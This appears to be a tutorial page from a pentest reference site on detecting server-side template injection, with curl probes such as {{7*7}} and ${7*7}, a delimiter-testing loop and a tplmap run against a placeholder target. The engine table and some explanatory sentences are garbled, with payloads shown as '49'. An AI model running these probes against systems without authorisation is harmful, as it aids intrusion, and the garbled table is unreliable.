Skip to content
HackIndex logo

HackIndex

SSTI Detection

2 min read Mar 28, 2026

Server-side template injection occurs when user input is embedded in a template string and evaluated by the template engine. The result is often remote code execution since template engines have access to Python, Java, or PHP internals. Detection confirms evaluation is happening — engine identification determines the exploitation payload. Confirmed SSTI moves to SSTI exploitation.

Target parameters that appear in rendered output: name, message, subject, query, template, search, greeting. Any parameter whose value appears reflected in the page is a candidate.

Initial Probe

Send a mathematical expression wrapped in template delimiters. If the result is evaluated rather than reflected literally, template injection is confirmed:

┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/page?name={{7*7}}" | grep -o '49'
49
┌──(kali㉿kali)-[~]
└─$ curl -sk -X POST http://$TARGET_IP:$PORT/render -d 'template={{7*7}}' | grep -o '49'
49

The response containing 49 instead of 49 confirms template evaluation. If the literal string 49 appears in the output, the template engine is not processing input or a different delimiter is needed.

Engine Identification

Different template engines use different delimiters and syntax. Use a decision payload to identify the engine:

┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/page?name={{7*'7'}}" | grep -oE '[0-9]{4,}|7777777'
7777777

Engine identification from the response:

Payload

Response

Engine

49

49

Jinja2, Twig, or other

49

49

Jinja2 (Python)

49

7777777

Twig (PHP)

${7*7}

49

Freemarker or Thymeleaf (Java)

#{7*7}

49

Ruby ERB or Pebble

Test Multiple Delimiter Formats

If the standard Jinja2 delimiter does not work, try alternates used by other engines:

┌──(kali㉿kali)-[~]
└─$ for payload in '{{7*7}}' '${7*7}' '#{7*7}' '<%= 7*7 %>' '[[7*7]]' '{7*7}'; do echo -n "$payload -> "; curl -sk "http://$TARGET_IP:$PORT/page?name=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$payload'))")" | grep -o '49'; done
49 -> 
${7*7} -> 49
#{7*7} -> 
<%= 7*7 %> -> 
[[7*7]] -> 
{7*7} ->

${7*7} evaluating to 49 indicates a Java-based template engine. Use tplmap to automate engine identification and exploitation:

┌──(kali㉿kali)-[~]
└─$ tplmap -u "http://$TARGET_IP:$PORT/page?name=test"
[+] Tplmap 0.5
[*] Testing if GET parameter 'name' is injectable
[+] Jinja2 plugin is testing rendering with tag '{{'
[+] Jinja2 rendered with tag '{{'
[+] Jinja2 is vulnerable!

References